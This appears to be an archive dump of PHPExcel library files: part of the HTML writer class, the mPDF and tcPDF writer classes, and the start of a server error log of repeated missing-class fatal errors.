$css['.inlineStr']['text-align'] = 'left'; // INLINE // .n {} $css['.n']['text-align'] = 'right'; // NUMERIC // .s {} $css['.s']['text-align'] = 'left'; // STRING // Calculate cell style hashes foreach ($this->phpExcel->getCellXfCollection() as $index => $style) { $css['td.style' . $index] = $this->createCSSStyle($style); $css['th.style' . $index] = $this->createCSSStyle($style); } // Fetch sheets $sheets = array(); if (is_null($this->sheetIndex)) { $sheets = $this->phpExcel->getAllSheets(); } else { $sheets[] = $this->phpExcel->getSheet($this->sheetIndex); } // Build styles per sheet foreach ($sheets as $sheet) { // Calculate hash code $sheetIndex = $sheet->getParent()->getIndex($sheet); // Build styles // Calculate column widths $sheet->calculateColumnWidths(); // col elements, initialize $highestColumnIndex = PHPExcel_Cell::columnIndexFromString($sheet->getHighestColumn()) - 1; $column = -1; while ($column++ < $highestColumnIndex) { $this->columnWidths[$sheetIndex][$column] = 42; // approximation $css['table.sheet' . $sheetIndex . ' col.col' . $column]['width'] = '42pt'; } // col elements, loop through columnDimensions and set width foreach ($sheet->getColumnDimensions() as $columnDimension) { if (($width = PHPExcel_Shared_Drawing::cellDimensionToPixels($columnDimension->getWidth(), $this->defaultFont)) >= 0) { $width = PHPExcel_Shared_Drawing::pixelsToPoints($width); $column = PHPExcel_Cell::columnIndexFromString($columnDimension->getColumnIndex()) - 1; $this->columnWidths[$sheetIndex][$column] = $width; $css['table.sheet' . $sheetIndex . ' col.col' . $column]['width'] = $width . 'pt'; if ($columnDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' col.col' . $column]['visibility'] = 'collapse'; $css['table.sheet' . $sheetIndex . ' col.col' . $column]['*display'] = 'none'; // target IE6+7 } } } // Default row height $rowDimension = $sheet->getDefaultRowDimension(); // table.sheetN tr { } $css['table.sheet' . $sheetIndex . ' tr'] = array(); if ($rowDimension->getRowHeight() == -1) { $pt_height = PHPExcel_Shared_Font::getDefaultRowHeightByFont($this->phpExcel->getDefaultStyle()->getFont()); } else { $pt_height = $rowDimension->getRowHeight(); } $css['table.sheet' . $sheetIndex . ' tr']['height'] = $pt_height . 'pt'; if ($rowDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' tr']['display'] = 'none'; $css['table.sheet' . $sheetIndex . ' tr']['visibility'] = 'hidden'; } // Calculate row heights foreach ($sheet->getRowDimensions() as $rowDimension) { $row = $rowDimension->getRowIndex() - 1; // table.sheetN tr.rowYYYYYY { } $css['table.sheet' . $sheetIndex . ' tr.row' . $row] = array(); if ($rowDimension->getRowHeight() == -1) { $pt_height = PHPExcel_Shared_Font::getDefaultRowHeightByFont($this->phpExcel->getDefaultStyle()->getFont()); } else { $pt_height = $rowDimension->getRowHeight(); } $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['height'] = $pt_height . 'pt'; if ($rowDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['display'] = 'none'; $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['visibility'] = 'hidden'; } } } // Cache if (is_null($this->cssStyles)) { $this->cssStyles = $css; } // Return return $css; } /** * Create CSS style * * @param PHPExcel_Style $pStyle PHPExcel_Style * @return array */ private function createCSSStyle(PHPExcel_Style $pStyle) { // Construct CSS $css = ''; // Create CSS $css = array_merge( $this->createCSSStyleAlignment($pStyle->getAlignment()), $this->createCSSStyleBorders($pStyle->getBorders()), $this->createCSSStyleFont($pStyle->getFont()), $this->createCSSStyleFill($pStyle->getFill()) ); // Return return $css; } /** * Create CSS style (PHPExcel_Style_Alignment) * * @param PHPExcel_Style_Alignment $pStyle PHPExcel_Style_Alignment * @return array */ private function createCSSStyleAlignment(PHPExcel_Style_Alignment $pStyle) { // Construct CSS $css = array(); // Create CSS $css['vertical-align'] = $this->mapVAlign($pStyle->getVertical()); if ($textAlign = $this->mapHAlign($pStyle->getHorizontal())) { $css['text-align'] = $textAlign; if (in_array($textAlign, array('left', 'right'))) { $css['padding-'.$textAlign] = (string)((int)$pStyle->getIndent() * 9).'px'; } } return $css; } /** * Create CSS style (PHPExcel_Style_Font) * * @param PHPExcel_Style_Font $pStyle PHPExcel_Style_Font * @return array */ private function createCSSStyleFont(PHPExcel_Style_Font $pStyle) { // Construct CSS $css = array(); // Create CSS if ($pStyle->getBold()) { $css['font-weight'] = 'bold'; } if ($pStyle->getUnderline() != PHPExcel_Style_Font::UNDERLINE_NONE && $pStyle->getStrikethrough()) { $css['text-decoration'] = 'underline line-through'; } elseif ($pStyle->getUnderline() != PHPExcel_Style_Font::UNDERLINE_NONE) { $css['text-decoration'] = 'underline'; } elseif ($pStyle->getStrikethrough()) { $css['text-decoration'] = 'line-through'; } if ($pStyle->getItalic()) { $css['font-style'] = 'italic'; } $css['color'] = '#' . $pStyle->getColor()->getRGB(); $css['font-family'] = '\'' . $pStyle->getName() . '\''; $css['font-size'] = $pStyle->getSize() . 'pt'; return $css; } /** * Create CSS style (PHPExcel_Style_Borders) * * @param PHPExcel_Style_Borders $pStyle PHPExcel_Style_Borders * @return array */ private function createCSSStyleBorders(PHPExcel_Style_Borders $pStyle) { // Construct CSS $css = array(); // Create CSS $css['border-bottom'] = $this->createCSSStyleBorder($pStyle->getBottom()); $css['border-top'] = $this->createCSSStyleBorder($pStyle->getTop()); $css['border-left'] = $this->createCSSStyleBorder($pStyle->getLeft()); $css['border-right'] = $this->createCSSStyleBorder($pStyle->getRight()); return $css; } /** * Create CSS style (PHPExcel_Style_Border) * * @param PHPExcel_Style_Border $pStyle PHPExcel_Style_Border * @return string */ private function createCSSStyleBorder(PHPExcel_Style_Border $pStyle) { // Create CSS // $css = $this->mapBorderStyle($pStyle->getBorderStyle()) . ' #' . $pStyle->getColor()->getRGB(); // Create CSS - add !important to non-none border styles for merged cells $borderStyle = $this->mapBorderStyle($pStyle->getBorderStyle()); $css = $borderStyle . ' #' . $pStyle->getColor()->getRGB() . (($borderStyle == 'none') ? '' : ' !important'); return $css; } /** * Create CSS style (PHPExcel_Style_Fill) * * @param PHPExcel_Style_Fill $pStyle PHPExcel_Style_Fill * @return array */ private function createCSSStyleFill(PHPExcel_Style_Fill $pStyle) { // Construct HTML $css = array(); // Create CSS $value = $pStyle->getFillType() == PHPExcel_Style_Fill::FILL_NONE ? 'white' : '#' . $pStyle->getStartColor()->getRGB(); $css['background-color'] = $value; return $css; } /** * Generate HTML footer */ public function generateHTMLFooter() { // Construct HTML $html = ''; $html .= ' </body>' . PHP_EOL; $html .= '</html>' . PHP_EOL; return $html; } /** * Generate table header * * @param PHPExcel_Worksheet $pSheet The worksheet for the table we are writing * @return string * @throws PHPExcel_Writer_Exception */ private function generateTableHeader($pSheet) { $sheetIndex = $pSheet->getParent()->getIndex($pSheet); // Construct HTML $html = ''; $html .= $this->setMargins($pSheet); if (!$this->useInlineCss) { $gridlines = $pSheet->getShowGridlines() ? ' gridlines' : ''; $html .= ' <table border="0" cellpadding="0" cellspacing="0" id="sheet' . $sheetIndex . '" class="sheet' . $sheetIndex . $gridlines . '">' . PHP_EOL; } else { $style = isset($this->cssStyles['table']) ? $this->assembleCSS($this->cssStyles['table']) : ''; if ($this->isPdf && $pSheet->getShowGridlines()) { $html .= ' <table border="1" cellpadding="1" id="sheet' . $sheetIndex . '" cellspacing="1" style="' . $style . '">' . PHP_EOL; } else { $html .= ' <table border="0" cellpadding="1" id="sheet' . $sheetIndex . '" cellspacing="0" style="' . $style . '">' . PHP_EOL; } } // Write <col> elements $highestColumnIndex = PHPExcel_Cell::columnIndexFromString($pSheet->getHighestColumn()) - 1; $i = -1; while ($i++ < $highestColumnIndex) { if (!$this->isPdf) { if (!$this->useInlineCss) { $html .= ' <col class="col' . $i . '">' . PHP_EOL; } else { $style = isset($this->cssStyles['table.sheet' . $sheetIndex . ' col.col' . $i]) ? $this->assembleCSS($this->cssStyles['table.sheet' . $sheetIndex . ' col.col' . $i]) : ''; $html .= ' <col style="' . $style . '">' . PHP_EOL; } } } return $html; } /** * Generate table footer * * @throws PHPExcel_Writer_Exception */ private function generateTableFooter() { $html = ' </table>' . PHP_EOL; return $html; } /** * Generate row * * @param PHPExcel_Worksheet $pSheet PHPExcel_Worksheet * @param array $pValues Array containing cells in a row * @param int $pRow Row number (0-based) * @return string * @throws PHPExcel_Writer_Exception */ private function generateRow(PHPExcel_Worksheet $pSheet, $pValues = null, $pRow = 0, $cellType = 'td') { if (is_array($pValues)) { // Construct HTML $html = ''; // Sheet index $sheetIndex = $pSheet->getParent()->getIndex($pSheet); // DomPDF and breaks if ($this->isPdf && count($pSheet->getBreaks()) > 0) { $breaks = $pSheet->getBreaks(); // check if a break is needed before this row if (isset($breaks['A' . $pRow])) { // close table: </table> $html .= $this->generateTableFooter(); // insert page break $html .= '<div style="page-break-before:always" />'; // open table again: <table> + <col> etc. $html .= $this->generateTableHeader($pSheet); } } // Write row start if (!$this->useInlineCss) { $html .= ' <tr class="row' . $pRow . '">' . PHP_EOL; } else { $style = isset($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $pRow]) ? $this->assembleCSS($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $pRow]) : ''; $html .= ' <tr style="' . $style . '">' . PHP_EOL; } // Write cells $colNum = 0; foreach ($pValues as $cellAddress) { $cell = ($cellAddress > '') ? $pSheet->getCell($cellAddress) : ''; $coordinate = PHPExcel_Cell::stringFromColumnIndex($colNum) . ($pRow + 1); if (!$this->useInlineCss) { $cssClass = ''; $cssClass = 'column' . $colNum; } else { $cssClass = array(); if ($cellType == 'th') { if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' th.column' . $colNum])) { $this->cssStyles['table.sheet' . $sheetIndex . ' th.column' . $colNum]; } } else { if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' td.column' . $colNum])) { $this->cssStyles['table.sheet' . $sheetIndex . ' td.column' . $colNum]; } } } $colSpan = 1; $rowSpan = 1; // initialize $cellData = ' '; // PHPExcel_Cell if ($cell instanceof PHPExcel_Cell) { $cellData = ''; if (is_null($cell->getParent())) { $cell->attach($pSheet); } // Value if ($cell->getValue() instanceof PHPExcel_RichText) { // Loop through rich text elements $elements = $cell->getValue()->getRichTextElements(); foreach ($elements as $element) { // Rich text start? if ($element instanceof PHPExcel_RichText_Run) { $cellData .= '<span style="' . $this->assembleCSS($this->createCSSStyleFont($element->getFont())) . '">'; if ($element->getFont()->getSuperScript()) { $cellData .= '<sup>'; } elseif ($element->getFont()->getSubScript()) { $cellData .= '<sub>'; } } // Convert UTF8 data to PCDATA $cellText = $element->getText(); $cellData .= htmlspecialchars($cellText); if ($element instanceof PHPExcel_RichText_Run) { if ($element->getFont()->getSuperScript()) { $cellData .= '</sup>'; } elseif ($element->getFont()->getSubScript()) { $cellData .= '</sub>'; } $cellData .= '</span>'; } } } else { if ($this->preCalculateFormulas) { $cellData = PHPExcel_Style_NumberFormat::toFormattedString( $cell->getCalculatedValue(), $pSheet->getParent()->getCellXfByIndex($cell->getXfIndex())->getNumberFormat()->getFormatCode(), array($this, 'formatColor') ); } else { $cellData = PHPExcel_Style_NumberFormat::toFormattedString( $cell->getValue(), $pSheet->getParent()->getCellXfByIndex($cell->getXfIndex())->getNumberFormat()->getFormatCode(), array($this, 'formatColor') ); } $cellData = htmlspecialchars($cellData); if ($pSheet->getParent()->getCellXfByIndex($cell->getXfIndex())->getFont()->getSuperScript()) { $cellData = '<sup>'.$cellData.'</sup>'; } elseif ($pSheet->getParent()->getCellXfByIndex($cell->getXfIndex())->getFont()->getSubScript()) { $cellData = '<sub>'.$cellData.'</sub>'; } } // Converts the cell content so that spaces occuring at beginning of each new line are replaced by // Example: " Hello\n to the world" is converted to " Hello\n to the world" $cellData = preg_replace("/(?m)(?:^|\\G) /", ' ', $cellData); // convert newline "\n" to '<br>' $cellData = nl2br($cellData); // Extend CSS class? if (!$this->useInlineCss) { $cssClass .= ' style' . $cell->getXfIndex(); $cssClass .= ' ' . $cell->getDataType(); } else { if ($cellType == 'th') { if (isset($this->cssStyles['th.style' . $cell->getXfIndex()])) { $cssClass = array_merge($cssClass, $this->cssStyles['th.style' . $cell->getXfIndex()]); } } else { if (isset($this->cssStyles['td.style' . $cell->getXfIndex()])) { $cssClass = array_merge($cssClass, $this->cssStyles['td.style' . $cell->getXfIndex()]); } } // General horizontal alignment: Actual horizontal alignment depends on dataType $sharedStyle = $pSheet->getParent()->getCellXfByIndex($cell->getXfIndex()); if ($sharedStyle->getAlignment()->getHorizontal() == PHPExcel_Style_Alignment::HORIZONTAL_GENERAL && isset($this->cssStyles['.' . $cell->getDataType()]['text-align'])) { $cssClass['text-align'] = $this->cssStyles['.' . $cell->getDataType()]['text-align']; } } } // Hyperlink? if ($pSheet->hyperlinkExists($coordinate) && !$pSheet->getHyperlink($coordinate)->isInternal()) { $cellData = '<a href="' . htmlspecialchars($pSheet->getHyperlink($coordinate)->getUrl()) . '" title="' . htmlspecialchars($pSheet->getHyperlink($coordinate)->getTooltip()) . '">' . $cellData . '</a>'; } // Should the cell be written or is it swallowed by a rowspan or colspan? $writeCell = !(isset($this->isSpannedCell[$pSheet->getParent()->getIndex($pSheet)][$pRow + 1][$colNum]) && $this->isSpannedCell[$pSheet->getParent()->getIndex($pSheet)][$pRow + 1][$colNum]); // Colspan and Rowspan $colspan = 1; $rowspan = 1; if (isset($this->isBaseCell[$pSheet->getParent()->getIndex($pSheet)][$pRow + 1][$colNum])) { $spans = $this->isBaseCell[$pSheet->getParent()->getIndex($pSheet)][$pRow + 1][$colNum]; $rowSpan = $spans['rowspan']; $colSpan = $spans['colspan']; // Also apply style from last cell in merge to fix borders - // relies on !important for non-none border declarations in createCSSStyleBorder $endCellCoord = PHPExcel_Cell::stringFromColumnIndex($colNum + $colSpan - 1) . ($pRow + $rowSpan); if (!$this->useInlineCss) { $cssClass .= ' style' . $pSheet->getCell($endCellCoord)->getXfIndex(); } } // Write if ($writeCell) { // Column start $html .= ' <' . $cellType; if (!$this->useInlineCss) { $html .= ' class="' . $cssClass . '"'; } else { //** Necessary redundant code for the sake of PHPExcel_Writer_PDF ** // We must explicitly write the width of the <td> element because TCPDF // does not recognize e.g. <col style="width:42pt"> $width = 0; $i = $colNum - 1; $e = $colNum + $colSpan - 1; while ($i++ < $e) { if (isset($this->columnWidths[$sheetIndex][$i])) { $width += $this->columnWidths[$sheetIndex][$i]; } } $cssClass['width'] = $width . 'pt'; // We must also explicitly write the height of the <td> element because TCPDF // does not recognize e.g. <tr style="height:50pt"> if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $pRow]['height'])) { $height = $this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $pRow]['height']; $cssClass['height'] = $height; } //** end of redundant code ** $html .= ' style="' . $this->assembleCSS($cssClass) . '"'; } if ($colSpan > 1) { $html .= ' colspan="' . $colSpan . '"'; } if ($rowSpan > 1) { $html .= ' rowspan="' . $rowSpan . '"'; } $html .= '>'; // Image? $html .= $this->writeImageInCell($pSheet, $coordinate); // Chart? if ($this->includeCharts) { $html .= $this->writeChartInCell($pSheet, $coordinate); } // Cell data $html .= $cellData; // Column end $html .= '</'.$cellType.'>' . PHP_EOL; } // Next column ++$colNum; } // Write row end $html .= ' </tr>' . PHP_EOL; // Return return $html; } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Takes array where of CSS properties / values and converts to CSS string * * @param array * @return string */ private function assembleCSS($pValue = array()) { $pairs = array(); foreach ($pValue as $property => $value) { $pairs[] = $property . ':' . $value; } $string = implode('; ', $pairs); return $string; } /** * Get images root * * @return string */ public function getImagesRoot() { return $this->imagesRoot; } /** * Set images root * * @param string $pValue * @return PHPExcel_Writer_HTML */ public function setImagesRoot($pValue = '.') { $this->imagesRoot = $pValue; return $this; } /** * Get embed images * * @return boolean */ public function getEmbedImages() { return $this->embedImages; } /** * Set embed images * * @param boolean $pValue * @return PHPExcel_Writer_HTML */ public function setEmbedImages($pValue = '.') { $this->embedImages = $pValue; return $this; } /** * Get use inline CSS? * * @return boolean */ public function getUseInlineCss() { return $this->useInlineCss; } /** * Set use inline CSS? * * @param boolean $pValue * @return PHPExcel_Writer_HTML */ public function setUseInlineCss($pValue = false) { $this->useInlineCss = $pValue; return $this; } /** * Add color to formatted string as inline style * * @param string $pValue Plain formatted value without color * @param string $pFormat Format code * @return string */ public function formatColor($pValue, $pFormat) { // Color information, e.g. [Red] is always at the beginning $color = null; // initialize $matches = array(); $color_regex = '/^\\[[a-zA-Z]+\\]/'; if (preg_match($color_regex, $pFormat, $matches)) { $color = str_replace('[', '', $matches[0]); $color = str_replace(']', '', $color); $color = strtolower($color); } // convert to PCDATA $value = htmlspecialchars($pValue); // color span tag if ($color !== null) { $value = '<span style="color:' . $color . '">' . $value . '</span>'; } return $value; } /** * Calculate information about HTML colspan and rowspan which is not always the same as Excel's */ private function calculateSpans() { // Identify all cells that should be omitted in HTML due to cell merge. // In HTML only the upper-left cell should be written and it should have // appropriate rowspan / colspan attribute $sheetIndexes = $this->sheetIndex !== null ? array($this->sheetIndex) : range(0, $this->phpExcel->getSheetCount() - 1); foreach ($sheetIndexes as $sheetIndex) { $sheet = $this->phpExcel->getSheet($sheetIndex); $candidateSpannedRow = array(); // loop through all Excel merged cells foreach ($sheet->getMergeCells() as $cells) { list($cells,) = PHPExcel_Cell::splitRange($cells); $first = $cells[0]; $last = $cells[1]; list($fc, $fr) = PHPExcel_Cell::coordinateFromString($first); $fc = PHPExcel_Cell::columnIndexFromString($fc) - 1; list($lc, $lr) = PHPExcel_Cell::coordinateFromString($last); $lc = PHPExcel_Cell::columnIndexFromString($lc) - 1; // loop through the individual cells in the individual merge $r = $fr - 1; while ($r++ < $lr) { // also, flag this row as a HTML row that is candidate to be omitted $candidateSpannedRow[$r] = $r; $c = $fc - 1; while ($c++ < $lc) { if (!($c == $fc && $r == $fr)) { // not the upper-left cell (should not be written in HTML) $this->isSpannedCell[$sheetIndex][$r][$c] = array( 'baseCell' => array($fr, $fc), ); } else { // upper-left is the base cell that should hold the colspan/rowspan attribute $this->isBaseCell[$sheetIndex][$r][$c] = array( 'xlrowspan' => $lr - $fr + 1, // Excel rowspan 'rowspan' => $lr - $fr + 1, // HTML rowspan, value may change 'xlcolspan' => $lc - $fc + 1, // Excel colspan 'colspan' => $lc - $fc + 1, // HTML colspan, value may change ); } } } } // Identify which rows should be omitted in HTML. These are the rows where all the cells // participate in a merge and the where base cells are somewhere above. $countColumns = PHPExcel_Cell::columnIndexFromString($sheet->getHighestColumn()); foreach ($candidateSpannedRow as $rowIndex) { if (isset($this->isSpannedCell[$sheetIndex][$rowIndex])) { if (count($this->isSpannedCell[$sheetIndex][$rowIndex]) == $countColumns) { $this->isSpannedRow[$sheetIndex][$rowIndex] = $rowIndex; }; } } // For each of the omitted rows we found above, the affected rowspans should be subtracted by 1 if (isset($this->isSpannedRow[$sheetIndex])) { foreach ($this->isSpannedRow[$sheetIndex] as $rowIndex) { $adjustedBaseCells = array(); $c = -1; $e = $countColumns - 1; while ($c++ < $e) { $baseCell = $this->isSpannedCell[$sheetIndex][$rowIndex][$c]['baseCell']; if (!in_array($baseCell, $adjustedBaseCells)) { // subtract rowspan by 1 --$this->isBaseCell[$sheetIndex][ $baseCell[0] ][ $baseCell[1] ]['rowspan']; $adjustedBaseCells[] = $baseCell; } } } } // TODO: Same for columns } // We have calculated the spans $this->spansAreCalculated = true; } private function setMargins(PHPExcel_Worksheet $pSheet) { $htmlPage = '@page { '; $htmlBody = 'body { '; $left = PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getLeft()) . 'in; '; $htmlPage .= 'margin-left: ' . $left; $htmlBody .= 'margin-left: ' . $left; $right = PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getRight()) . 'in; '; $htmlPage .= 'margin-right: ' . $right; $htmlBody .= 'margin-right: ' . $right; $top = PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getTop()) . 'in; '; $htmlPage .= 'margin-top: ' . $top; $htmlBody .= 'margin-top: ' . $top; $bottom = PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getBottom()) . 'in; '; $htmlPage .= 'margin-bottom: ' . $bottom; $htmlBody .= 'margin-bottom: ' . $bottom; $htmlPage .= "}\n"; $htmlBody .= "}\n"; return "<style>\n" . $htmlPage . $htmlBody . "</style>\n"; } } PHPExcel/Writer/PDF/mPDF.php 0000644 00000010753 14642534107 0011354 0 ustar 00 <?php /** Require mPDF library */ $pdfRendererClassFile = PHPExcel_Settings::getPdfRendererPath() . '/mpdf.php'; if (file_exists($pdfRendererClassFile)) { require_once $pdfRendererClassFile; } else { throw new PHPExcel_Writer_Exception('Unable to load PDF Rendering library'); } /** * PHPExcel_Writer_PDF_mPDF * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_PDF * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_PDF_mPDF extends PHPExcel_Writer_PDF_Core implements PHPExcel_Writer_IWriter { /** * Create a new PHPExcel_Writer_PDF * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { parent::__construct($phpExcel); } /** * Save PHPExcel to file * * @param string $pFilename Name of the file to save as * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { $fileHandle = parent::prepareForSave($pFilename); // Default PDF paper size $paperSize = 'LETTER'; // Letter (8.5 in. by 11 in.) // Check for paper size and page orientation if (is_null($this->getSheetIndex())) { $orientation = ($this->phpExcel->getSheet(0)->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet(0)->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet(0)->getPageMargins(); } else { $orientation = ($this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet($this->getSheetIndex())->getPageMargins(); } $this->setOrientation($orientation); // Override Page Orientation if (!is_null($this->getOrientation())) { $orientation = ($this->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_DEFAULT) ? PHPExcel_Worksheet_PageSetup::ORIENTATION_PORTRAIT : $this->getOrientation(); } $orientation = strtoupper($orientation); // Override Paper Size if (!is_null($this->getPaperSize())) { $printPaperSize = $this->getPaperSize(); } if (isset(self::$paperSizes[$printPaperSize])) { $paperSize = self::$paperSizes[$printPaperSize]; } // Create PDF $pdf = new mpdf(); $ortmp = $orientation; $pdf->_setPageSize(strtoupper($paperSize), $ortmp); $pdf->DefOrientation = $orientation; $pdf->AddPage($orientation); // Document info $pdf->SetTitle($this->phpExcel->getProperties()->getTitle()); $pdf->SetAuthor($this->phpExcel->getProperties()->getCreator()); $pdf->SetSubject($this->phpExcel->getProperties()->getSubject()); $pdf->SetKeywords($this->phpExcel->getProperties()->getKeywords()); $pdf->SetCreator($this->phpExcel->getProperties()->getCreator()); $pdf->WriteHTML( $this->generateHTMLHeader(false) . $this->generateSheetData() . $this->generateHTMLFooter() ); // Write to file fwrite($fileHandle, $pdf->Output('', 'S')); parent::restoreStateAfterSave($fileHandle); } } PHPExcel/Writer/PDF/tcPDF.php 0000644 00000011343 14642534107 0011522 0 ustar 00 <?php /** Require tcPDF library */ $pdfRendererClassFile = PHPExcel_Settings::getPdfRendererPath() . '/tcpdf.php'; if (file_exists($pdfRendererClassFile)) { $k_path_url = PHPExcel_Settings::getPdfRendererPath(); require_once $pdfRendererClassFile; } else { throw new PHPExcel_Writer_Exception('Unable to load PDF Rendering library'); } /** * PHPExcel_Writer_PDF_tcPDF * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_PDF * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_PDF_tcPDF extends PHPExcel_Writer_PDF_Core implements PHPExcel_Writer_IWriter { /** * Create a new PHPExcel_Writer_PDF * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { parent::__construct($phpExcel); } /** * Save PHPExcel to file * * @param string $pFilename Name of the file to save as * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { $fileHandle = parent::prepareForSave($pFilename); // Default PDF paper size $paperSize = 'LETTER'; // Letter (8.5 in. by 11 in.) // Check for paper size and page orientation if (is_null($this->getSheetIndex())) { $orientation = ($this->phpExcel->getSheet(0)->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet(0)->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet(0)->getPageMargins(); } else { $orientation = ($this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet($this->getSheetIndex())->getPageMargins(); } // Override Page Orientation if (!is_null($this->getOrientation())) { $orientation = ($this->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; } // Override Paper Size if (!is_null($this->getPaperSize())) { $printPaperSize = $this->getPaperSize(); } if (isset(self::$paperSizes[$printPaperSize])) { $paperSize = self::$paperSizes[$printPaperSize]; } // Create PDF $pdf = new TCPDF($orientation, 'pt', $paperSize); $pdf->setFontSubsetting(false); // Set margins, converting inches to points (using 72 dpi) $pdf->SetMargins($printMargins->getLeft() * 72, $printMargins->getTop() * 72, $printMargins->getRight() * 72); $pdf->SetAutoPageBreak(true, $printMargins->getBottom() * 72); $pdf->setPrintHeader(false); $pdf->setPrintFooter(false); $pdf->AddPage(); // Set the appropriate font $pdf->SetFont($this->getFont()); $pdf->writeHTML( $this->generateHTMLHeader(false) . $this->generateSheetData() . $this->generateHTMLFooter() ); // Document info $pdf->SetTitle($this->phpExcel->getProperties()->getTitle()); $pdf->SetAuthor($this->phpExcel->getProperties()->getCreator()); $pdf->SetSubject($this->phpExcel->getProperties()->getSubject()); $pdf->SetKeywords($this->phpExcel->getProperties()->getKeywords()); $pdf->SetCreator($this->phpExcel->getProperties()->getCreator()); // Write to file fwrite($fileHandle, $pdf->output($pFilename, 'S')); parent::restoreStateAfterSave($fileHandle); } } PHPExcel/Writer/PDF/error_log 0000644 00000031540 14642534107 0011767 0 ustar 00 [20-May-2024 11:14:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [20-May-2024 11:20:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [20-May-2024 11:45:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [20-May-2024 11:55:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [20-May-2024 12:47:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [20-May-2024 13:21:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in 